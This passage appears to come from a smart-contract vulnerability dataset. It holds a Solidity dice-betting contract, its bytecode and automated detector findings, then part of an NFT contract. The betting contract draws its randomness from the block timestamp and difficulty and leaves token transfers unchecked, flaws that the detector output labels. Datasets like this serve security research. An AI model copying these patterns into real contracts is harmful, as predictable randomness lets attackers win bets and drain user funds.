return allPlayers.length;
}
//////////////////////////////
/////// GAME FUNCTIONALITY
// Events
event BetPlaced(address indexed gambler, uint256 betIndex);
event BetWon(address indexed gambler, uint256 betIndex);
event BetLost(address indexed gambler, uint256 betIndex);
event BetCanceled(address indexed gambler, uint256 betIndex);
enum BetStatus
{
NON_EXISTANT,
IN_PROGRESS,
WON,
LOST,
CANCELED
}
struct Bet
{
address gambler;
uint256 winningChance;
uint256 betAmount;
uint256 potentialRevenue;
uint256 roll;
BetStatus status;
}
Bet[] public bets;
uint public betsLength = 0;
mapping(bytes32 => uint256) public oraclizeQueryIdsToBetIndices;
function betPlaced(address gameContract, uint256 _amount) external
{
// Only StakeDiceGame contracts are allowed to call this function
require(addressIsStakeDiceGameContract[gameContract] == true);
// Make sure the bet is within the current limits
require(_amount >= minimumBet);
require(_amount <= StakeDiceGame(gameContract).maximumBet());
// Tranfer the STAKE tokens from the user's account to the StakeDice contract
stakeTokenContract.transferFrom(msg.sender, this, _amount);
// Calculate how much the gambler might win
uint256 potentialRevenue = StakeDiceGame(gameContract).multiplierOnWin() * _amount / 10000;
// Store the bet
emit BetPlaced(msg.sender, bets.length);
playersToBetIndices[msg.sender].push(bets.length);
bets.push(Bet({gambler: msg.sender, winningChance: StakeDiceGame(gameContract).winningChance(), betAmount: _amount, potentialRevenue: potentialRevenue, roll: 0, status: BetStatus.IN_PROGRESS}));
betsLength +=1;
// Update statistics
if (playersToTotalBets[msg.sender] == 0)
{
allPlayers.push(msg.sender);
}
playersToTotalBets[msg.sender] += _amount;
//uint _result = 1; //the random number
uint256 betIndex = betsLength;
Bet storage bet = bets[betIndex];
require(bet.status == BetStatus.IN_PROGRESS);
// Now that we have generated a random number, let's use it..
uint randomNumber = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%100);
// Store the roll in the blockchain permanently
bet.roll = randomNumber;
// If the random number is smaller than the winningChance, the gambler won!
if (randomNumber < bet.winningChance/100)
{
// If we somehow don't have enough tokens to payout their winnings,
// cancel the bet and refund the gambler automatically
if (stakeTokenContract.balanceOf(this) < bet.potentialRevenue)
{
_cancelBet(betIndex);
}
// Otherwise, (if we do have enough tokens)
else
{
// The gambler won!
bet.status = BetStatus.WON;
// Send them their winnings
stakeTokenContract.transfer(bet.gambler, bet.potentialRevenue);
// Trigger BetWon event
emit BetWon(bet.gambler, betIndex);
}
}
else
{
// The gambler lost!
bet.status = BetStatus.LOST;
// Send them the smallest possible token unit as consolation prize
// and as notification that their bet has lost.
stakeTokenContract.transfer(bet.gambler, 1); // Send 0.00000001 STAKE
// Trigger BetLost event
emit BetLost(bet.gambler, betIndex);
}
}
function _cancelBet(uint256 _betIndex) private
{
// Only bets that are in progress can be canceled
require(bets[_betIndex].status == BetStatus.IN_PROGRESS);
// Store the fact that the bet has been canceled
bets[_betIndex].status = BetStatus.CANCELED;
// Refund the bet amount to the gambler
stakeTokenContract.transfer(bets[_betIndex].gambler, bets[_betIndex].betAmount);
// Trigger BetCanceled event
emit BetCanceled(bets[_betIndex].gambler, _betIndex);
// Subtract the bet from their total
playersToTotalBets[bets[_betIndex].gambler] -= bets[_betIndex].betAmount;
}
function amountOfGames() external view returns (uint256)
{
return allGames.length;
}
function amountOfBets() external view returns (uint256)
{
return bets.length-1;
}
///////////////////////////////
/////// OWNER FUNCTIONS
address public owner;
// Constructor function
constructor(StakeToken _stakeTokenContract, uint256 _houseEdge, uint256 _minimumBet) public
{
// Bet indices start at 1 because the values of the
// oraclizeQueryIdsToBetIndices mapping are by default 0.
bets.length = 1;
// Whoever deployed the contract is made owner
owner = msg.sender;
// Ensure that the arguments are sane
require(_houseEdge < 10000);
require(_stakeTokenContract != address(0x0));
// Store the initializing arguments
stakeTokenContract = _stakeTokenContract;
houseEdge = _houseEdge;
minimumBet = _minimumBet;
}
// Allow the owner to easily create the default dice games
function createDefaultGames() public
{
require(allGames.length == 0);
addNewStakeDiceGame(500); // 5% chance
addNewStakeDiceGame(1000); // 10% chance
addNewStakeDiceGame(1500); // 15% chance
addNewStakeDiceGame(2000); // 20% chance
addNewStakeDiceGame(2500); // 25% chance
addNewStakeDiceGame(3000); // 30% chance
addNewStakeDiceGame(3500); // 35% chance
addNewStakeDiceGame(4000); // 40% chance
addNewStakeDiceGame(4500); // 45% chance
addNewStakeDiceGame(5000); // 50% chance
addNewStakeDiceGame(5500); // 55% chance
addNewStakeDiceGame(6000); // 60% chance
addNewStakeDiceGame(6500); // 65% chance
addNewStakeDiceGame(7000); // 70% chance
addNewStakeDiceGame(7500); // 75% chance
addNewStakeDiceGame(8000); // 80% chance
addNewStakeDiceGame(8500); // 85% chance
addNewStakeDiceGame(9000); // 90% chance
addNewStakeDiceGame(9500); // 95% chance
}
// Allow the owner to cancel a bet when it's in progress.
// This will probably never be needed, but it might some day be needed
// to refund people if oraclize is not responding.
function cancelBet(uint256 _betIndex) public
{
require(msg.sender == owner);
_cancelBet(_betIndex);
}
// Allow the owner to add new games with different winning chances
function addNewStakeDiceGame(uint256 _winningChance) public
{
require(msg.sender == owner);
// Deploy a new StakeDiceGame contract
StakeDiceGame newGame = new StakeDiceGame(this, _winningChance);
// Store the fact that this new address is a StakeDiceGame contract
addressIsStakeDiceGameContract[newGame] = true;
allGames.push(newGame);
}
// Allow the owner to change the house edge
function setHouseEdge(uint256 _newHouseEdge) external
{
require(msg.sender == owner);
require(_newHouseEdge < 10000);
houseEdge = _newHouseEdge;
}
// Allow the owner to change the minimum bet
// This also allows the owner to temporarily disable the game by setting the
// minimum bet to an impossibly high number.
function setMinimumBet(uint256 _newMinimumBet) external
{
require(msg.sender == owner);
minimumBet = _newMinimumBet;
}
// Allow the owner to deposit and withdraw ether
// (this contract needs to pay oraclize fees)
function depositEther() payable external
{
require(msg.sender == owner);
}
function withdrawEther(uint256 _amount) payable external
{
require(msg.sender == owner);
owner.transfer(_amount);
}
// Allow the owner to make another address the owner
function transferOwnership(address _newOwner) external
{
require(msg.sender == owner);
require(_newOwner != 0x0);
owner = _newOwner;
}
// Allow the owner to withdraw STAKE tokens
function withdrawStakeTokens(uint256 _amount) external
{
require(msg.sender == owner);
stakeTokenContract.transfer(owner, _amount);
}
// Prevent people from losing Ether by accidentally sending it to this contract.
function () payable external
{
revert();
}
} | 0x60806040526004361061013a5763ffffffff60e060020a6000350416630544ce5e811461013f57806322af00fa146101735780633010f39d146101e45780633348904b1461021a578063357401f51461022f5780633bed33ce146102495780634cc47910146102545780634cff7a821461026c5780634d5fc38a146102815780635132faca146102965780636a9db57a146102ab5780636cd0f102146102cc578063726ee493146102e4578063740ed4e0146102fc5780638772ae3c146103145780638a6091551461032c5780638da5cb5b1461034157806398ea5fca14610356578063a0b550951461035e578063b1e2a11614610376578063bbd2e01e14610397578063c38a8afd146103ac578063d667dcd7146103c1578063d851eb5d146103d6578063f2fde38b146103fa578063f422878a1461041b575b600080fd5b34801561014b57600080fd5b50610157600435610450565b60408051600160a060020a039092168252519081900360200190f35b34801561017f57600080fd5b5061018b600435610478565b6040518087600160a060020a0316600160a060020a031681526020018681526020018581526020018481526020018381526020018260048111156101cb57fe5b60ff168152602001965050505050505060405180910390f35b3480156101f057600080fd5b50610208600160a060020a03600435166024356104c9565b60408051918252519081900360200190f35b34801561022657600080fd5b506102086104f9565b34801561023b57600080fd5b50610247600435610503565b005b610247600435610526565b34801561026057600080fd5b5061020860043561057b565b34801561027857600080fd5b5061024761058d565b34801561028d57600080fd5b5061020861066d565b3480156102a257600080fd5b50610157610673565b3480156102b757600080fd5b50610208600160a060020a0360043516610682565b3480156102d857600080fd5b5061024760043561069d565b3480156102f057600080fd5b506102476004356106c7565b34801561030857600080fd5b50610247600435610782565b34801561032057600080fd5b5061024760043561084b565b34801561033857600080fd5b50610208610867565b34801561034d57600080fd5b5061015761086d565b61024761087c565b34801561036a57600080fd5b50610157600435610893565b34801561038257600080fd5b50610208600160a060020a03600435166108a1565b3480156103a357600080fd5b506102086108b3565b3480156103b857600080fd5b506102086108b9565b3480156103cd57600080fd5b506102086108bf565b3480156103e257600080fd5b50610247600160a060020a03600435166024356108c5565b34801561040657600080fd5b50610247600160a060020a036004351661107e565b34801561042757600080fd5b5061043c600160a060020a03600435166110d9565b604080519115158252519081900360200190f35b600580548290811061045e57fe5b600091825260209091200154600160a060020a0316905081565b600880548290811061048657fe5b6000918252602090912060069091020180546001820154600283015460038401546004850154600590950154600160a060020a0390941695509193909260ff1686565b6007602052816000526040600020818154811015156104e457fe5b90600052602060002001600091509150505481565b6008546000190190565b600b54600160a060020a0316331461051a57600080fd5b610523816110ee565b50565b600b54600160a060020a0316331461053d57600080fd5b600b54604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610577573d6000803e3d6000fd5b5050565b600a6020526000908152604090205481565b6002541561059a57600080fd5b6105a56101f4610782565b6105b06103e8610782565b6105bb6105dc610782565b6105c66107d0610782565b6105d16109c4610782565b6105dc610bb8610782565b6105e7610dac610782565b6105f2610fa0610782565b6105fd611194610782565b610608611388610782565b61061361157c610782565b61061e611770610782565b610629611964610782565b610634611b58610782565b61063f611d4c610782565b61064a611f40610782565b610655612134610782565b610660612328610782565b61066b61251c610782565b565b60025490565b600054600160a060020a031681565b600160a060020a031660009081526007602052604090205490565b600b54600160a060020a031633146106b457600080fd5b61271081106106c257600080fd5b600355565b600b54600160a060020a031633146106de57600080fd5b60008054600b54604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561075357600080fd5b505af1158015610767573d6000803e3d6000fd5b505050506040513d602081101561077d57600080fd5b505050565b600b54600090600160a060020a0316331461079c57600080fd5b30826107a661130b565b600160a060020a0390921682526020820152604080519182900301906000f0801580156107d7573d6000803e3d6000fd5b50600160a060020a031660008181526001602081905260408220805460ff1916821790556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff191690911790555050565b600b54600160a060020a0316331461086257600080fd5b600455565b60055490565b600b54600160a060020a031681565b600b54600160a060020a0316331461066b57600080fd5b600280548290811061045e57fe5b60066020526000908152604090205481565b60095481565b60045481565b60035481565b600160a060020a038216600090815260016020819052604082205482918291829160ff9091161515146108f757600080fd5b60045485101561090657600080fd5b85600160a060020a031663227cade56040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b505050506040513d602081101561096e57600080fd5b505185111561097c57600080fd5b60008054604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018990529051600160a060020a03909216926323b872dd926064808401936020939083900390910190829087803b1580156109f057600080fd5b505af1158015610a04573d6000803e3d6000fd5b505050506040513d6020811015610a1a57600080fd5b5050604080517f0d81057e0000000000000000000000000000000000000000000000000000000081529051612710918791600160a060020a038a1691630d81057e9160048083019260209291908290030181600087803b158015610a7d57600080fd5b505af1158015610a91573d6000803e3d6000fd5b505050506040513d6020811015610aa757600080fd5b505102811515610ab357fe5b600854604080519182525192909104955033917f43e08d78302cdf9c94e1ffd293c2a3696139ee41cf3199b6f5eed9c7f6cc60909181900360200190a233600081815260076020908152604080832060088054825460018101845592865284862090920191909155815160c08101835294855281517fe0a1ca6e000000000000000000000000000000000000000000000000000000008152915190949384840193600160a060020a038d169363e0a1ca6e9360048083019491928390030190829087803b158015610b8357600080fd5b505af1158015610b97573d6000803e3d6000fd5b505050506040513d6020811015610bad57600080fd5b50518152602081018890526040810187905260006060820152608001600190528154600180820180855560009485526020948590208451600690940201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0390941693909317835593830151828201556040830151600283015560608301516003830155608083015160048084019190915560a08401516005840180549193909260ff19909216918490811115610c5f57fe5b0217905550506009805460010190555050336000908152600660205260409020541515610cd657600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db001805473ffffffffffffffffffffffffffffffffffffffff1916331790555b336000908152600660205260409020805486019055600954600880549194509084908110610d0057fe5b6000918252602090912060069091020191506001600583015460ff166004811115610d2757fe5b14610d3157600080fd5b6064424460405160200180838152602001828152602001925050506040516020818303038152906040526040518082805190602001908083835b60208310610d8a5780518252601f199092019160209182019101610d6b565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912092505050811515610dc057fe5b0660ff1660048301819055600183015490915060649004811015610f8557600382015460008054604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a03909216926370a08231926024808401936020939083900390910190829087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b505050506040513d6020811015610e7457600080fd5b50511015610e8a57610e85836110ee565b610f80565b60058201805460ff191660021790556000805483546003850154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039384166004820152602481019290925251919092169263a9059cbb92604480820193602093909283900390910190829087803b158015610f1257600080fd5b505af1158015610f26573d6000803e3d6000fd5b505050506040513d6020811015610f3c57600080fd5b50508154604080518581529051600160a060020a03909216917ffe23c6d15fc15e80d0d3b6b59122e78175084270ba5370c378f9e20e4ee31e069181900360200190a25b611076565b60058201805460ff19166003179055600080548354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152600160248201529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561100857600080fd5b505af115801561101c573d6000803e3d6000fd5b505050506040513d602081101561103257600080fd5b50508154604080518581529051600160a060020a03909216917fcb9c7189736051e86837ee4847c751bad47c86cb506933875ff8fabf9eeda0089181900360200190a25b505050505050565b600b54600160a060020a0316331461109557600080fd5b600160a060020a03811615156110aa57600080fd5b600b805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60016020526000908152604090205460ff1681565b600160088054839081106110fe57fe5b600091825260209091206005600690920201015460ff16600481111561112057fe5b1461112a57600080fd5b600460088281548110151561113b57fe5b60009182526020909120600560069092020101805460ff1916600183600481111561116257fe5b021790555060005460088054600160a060020a039092169163a9059cbb91908490811061118b57fe5b600091825260209091206006909102015460088054600160a060020a0390921691859081106111b657fe5b9060005260206000209060060201600201546040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561121a57600080fd5b505af115801561122e573d6000803e3d6000fd5b505050506040513d602081101561124457600080fd5b5050600880548290811061125457fe5b600091825260209182902060069091020154604080518481529051600160a060020a03909216927fa93e870117c34319bff8abace21e29dab4a1d5d0ffc0c00ab598fcb0f185e65792918290030190a260088054829081106112b257fe5b906000526020600020906006020160020154600660006008848154811015156112d757fe5b60009182526020808320600690920290910154600160a060020a031683528201929092526040019020805491909103905550565b6040516106778061131c833901905600608060405234801561001057600080fd5b506040516040806106778339810160405280516020909101516000811161003657600080fd5b612710811061004457600080fd5b600160a060020a038216151561005957600080fd5b33600160a060020a0383161461006e57600080fd5b60008054600160a060020a03909316600160a060020a0319909316929092179091556001556105d5806100a26000396000f30060806040526004361061005e5763ffffffff60e060020a60003504166305a10e6d81146100635780630d81057e14610089578063227cade5146100b057806358708479146100c5578063e0a1ca6e146100dd578063e26693ac146100f2575b600080fd5b34801561006f57600080fd5b50610087600435600160a060020a0360243516610123565b005b34801561009557600080fd5b5061009e6102e4565b60408051918252519081900360200190f35b3480156100bc57600080fd5b5061009e610394565b3480156100d157600080fd5b506100876004356104e2565b3480156100e957600080fd5b5061009e610594565b3480156100fe57600080fd5b5061010761059a565b60408051600160a060020a039092168252519081900360200190f35b6000809054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561017557600080fd5b505af1158015610189573d6000803e3d6000fd5b505050506040513d602081101561019f57600080fd5b5051600160a060020a031633146101b557600080fd5b600160a060020a03811615156101ca57600080fd5b6000809054906101000a9004600160a060020a0316600160a060020a0316635132faca6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561021c57600080fd5b505af1158015610230573d6000803e3d6000fd5b505050506040513d602081101561024657600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156102b457600080fd5b505af11580156102c8573d6000803e3d6000fd5b505050506040513d60208110156102de57600080fd5b50505050565b60008054604080517fd667dcd70000000000000000000000000000000000000000000000000000000081529051612710928492600160a060020a039091169163d667dcd79160048082019260209290919082900301818787803b15801561034a57600080fd5b505af115801561035e573d6000803e3d6000fd5b505050506040513d602081101561037457600080fd5b50516001549083039150612710820281151561038c57fe5b049250505090565b60008054604080517f5132faca00000000000000000000000000000000000000000000000000000000815290518392600160a060020a031691635132faca91600480830192602092919082900301818787803b1580156103f357600080fd5b505af1158015610407573d6000803e3d6000fd5b505050506040513d602081101561041d57600080fd5b505160008054604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152905191909316926370a082319260248083019360209390929083900390910190829087803b15801561048b57600080fd5b505af115801561049f573d6000803e3d6000fd5b505050506040513d60208110156104b557600080fd5b5051905060056104c36102e4565b82612710028115156104d157fe5b048115156104db57fe5b0491505090565b6000809054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561053457600080fd5b505af1158015610548573d6000803e3d6000fd5b505050506040513d602081101561055e57600080fd5b5051600160a060020a0316331461057457600080fd5b6000811161058157600080fd5b612710811061058f57600080fd5b600155565b60015481565b600054600160a060020a0316815600a165627a7a7230582082d242cab3aaf4a9406c9823ed091660ad415258e30e052610ee8be16adc369e0029a165627a7a72305820d03af343f1d93f65e1a57bc28a42df01fdc9778b209b3971eb919f0fc30f85780029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 698 |
0xbd1f012bac212e91246c3b0cbce94c6cf0b47980 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <brecht@loopring.org>
library Base64 {
bytes internal constant TABLE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)
)
out := shl(8, out)
out := add(
out,
and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)
)
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
interface IERC721 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
contract Ownable {
address public owner;
address private nextOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(isOwner(), "caller is not the owner.");
_;
}
modifier onlyNextOwner() {
require(isNextOwner(), "current owner must set caller as next owner.");
_;
}
constructor(address owner_) {
owner = owner_;
emit OwnershipTransferred(address(0), owner);
}
function transferOwnership(address nextOwner_) external onlyOwner {
require(nextOwner_ != address(0), "Next owner is the zero address.");
nextOwner = nextOwner_;
}
function cancelOwnershipTransfer() external onlyOwner {
delete nextOwner;
}
function acceptOwnership() external onlyNextOwner {
delete nextOwner;
owner = msg.sender;
emit OwnershipTransferred(owner, msg.sender);
}
function renounceOwnership() external onlyOwner {
owner = address(0);
emit OwnershipTransferred(owner, address(0));
}
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
function isNextOwner() public view returns (bool) {
return msg.sender == nextOwner;
}
}
contract Reentrancy {
uint256 internal constant REENTRANCY_NOT_ENTERED = 1;
uint256 internal constant REENTRANCY_ENTERED = 2;
uint256 internal reentrancyStatus;
modifier nonReentrant() {
require(reentrancyStatus != REENTRANCY_ENTERED, "Reentrant call");
reentrancyStatus = REENTRANCY_ENTERED;
_;
reentrancyStatus = REENTRANCY_NOT_ENTERED;
}
}
contract ChadeauChristmas is IERC721, IERC165, IERC721Metadata, Ownable, Reentrancy {
string public override name;
string public override symbol;
string public baseURI;
string private _unrevealed;
string public rootURI;
uint256 public immutable allocation;
uint256 public immutable quantity;
uint256 public immutable price;
address public immutable operator;
uint256 private nextTokenId;
uint256 private allocationsTransferred = 0;
bool public revealed = false;
mapping (uint256 => bool) internal _burned;
mapping (uint256 => string) internal _tokenUris;
event GiftClaimed(
uint256 indexed tokenId,
uint256 amountPaid,
address buyer,
address receiver
);
event EditionCreatorChanged(
address indexed previousCreator,
address indexed newCreator
);
constructor(
uint256 allocation_,
uint256 quantity_,
address owner_,
address operator_
) Ownable(owner_) {
name = "Chadeau Christmas";
symbol = "GIFT";
baseURI = "https://arweave.net/";
_unrevealed = "qA3R1NGoUk5HjWnSYGE1FlbR_PbvnIqEfe0hX9jEdw0";
allocation = allocation_;
nextTokenId = allocation_;
quantity = quantity_;
price = 0.05 ether;
operator = operator_;
}
function purchase(address recipient)
external
payable
returns (uint256 tokenId)
{
require(msg.value >= price, "Insufficient funds sent");
tokenId = nextTokenId;
nextTokenId++;
require(tokenId < quantity, "This token is sold out");
_mint(recipient, tokenId);
emit GiftClaimed(tokenId, msg.value, msg.sender, recipient);
return tokenId;
}
function balanceOf(address owner_) public view override returns (uint256) {
if (owner_ == operator) {
return _balances[owner_] + allocation - allocationsTransferred;
}
require(owner_ != address(0), "ERC721: balance query for the zero address");
return _balances[owner_];
}
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
if (
_owners[tokenId] == address(0) &&
tokenId < allocation &&
!_burned[tokenId]
) {
return operator;
}
address _owner = _owners[tokenId];
require(
_owner != address(0),
"ERC721: owner query for nonexistent token"
);
return _owner;
}
function burn(uint256 tokenId) public {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_burn(tokenId);
}
function reveal() public onlyOwner {
revealed = true;
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(tokenId <= quantity);
string memory uri;
if (!revealed) {
uri = string(abi.encodePacked(baseURI, _unrevealed));
} else {
uri = string(abi.encodePacked(baseURI, rootURI, _toString(tokenId)));
}
return (
string(
abi.encodePacked(
"data:application/json;base64,",
Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Chadeau Christmas Gift #',
_toString(tokenId),
'","description": "From: Santa, To: You",',
'"image": "',
uri, '"}'
)
)
)
)
)
));
}
function setTokenURI(uint index, string memory hash) public onlyOwner {
_tokenUris[index] = hash;
}
function setUnrevealedURI(string memory hash) public onlyOwner {
_unrevealed = hash;
}
function contractURI() public view returns (string memory) {
return string(abi.encodePacked(baseURI, rootURI, "contract"));
}
function changeRootURI(string memory rootURI_) public onlyOwner {
rootURI = rootURI_;
}
function changeBaseURI(string memory baseURI_) public onlyOwner {
baseURI = baseURI_;
}
function _toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function _exists(uint256 tokenId) internal view returns (bool) {
if (tokenId < allocation && !_burned[tokenId]) {
return true;
}
return _owners[tokenId] != address(0);
}
function _burn(uint256 tokenId) internal {
address owner_ = ownerOf(tokenId);
_approve(address(0), tokenId);
if (_balances[owner_] > 0) {
_balances[owner_] -= 1;
}
delete _owners[tokenId];
_burned[tokenId] = true;
emit Transfer(owner_, address(0), tokenId);
if (tokenId < allocation) {}
}
mapping(uint256 => address) internal _owners;
mapping(address => uint256) internal _balances;
mapping(uint256 => address) internal _tokenApprovals;
mapping(address => mapping(address => bool)) internal _operatorApprovals;
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address approver, bool approved)
public
virtual
override
{
require(approver != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][approver] = approved;
emit ApprovalForAll(msg.sender, approver, approved);
}
function isApprovedForAll(address owner, address operator_)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator_];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(
to != address(0),
"ERC721: transfer to the zero address (use burn instead)"
);
_approve(address(0), tokenId);
if (_balances[from] > 0) {
_balances[from] -= 1;
}
_owners[tokenId] = to;
if (from == operator && tokenId < allocation) {
allocationsTransferred += 1;
_balances[to] += 1;
} else if (to == operator && tokenId < allocation) {
allocationsTransferred -= 1;
} else {
_balances[to] += 1;
}
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (isContract(to)) {
try
IERC721Receiver(to).onERC721Received(
msg.sender,
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
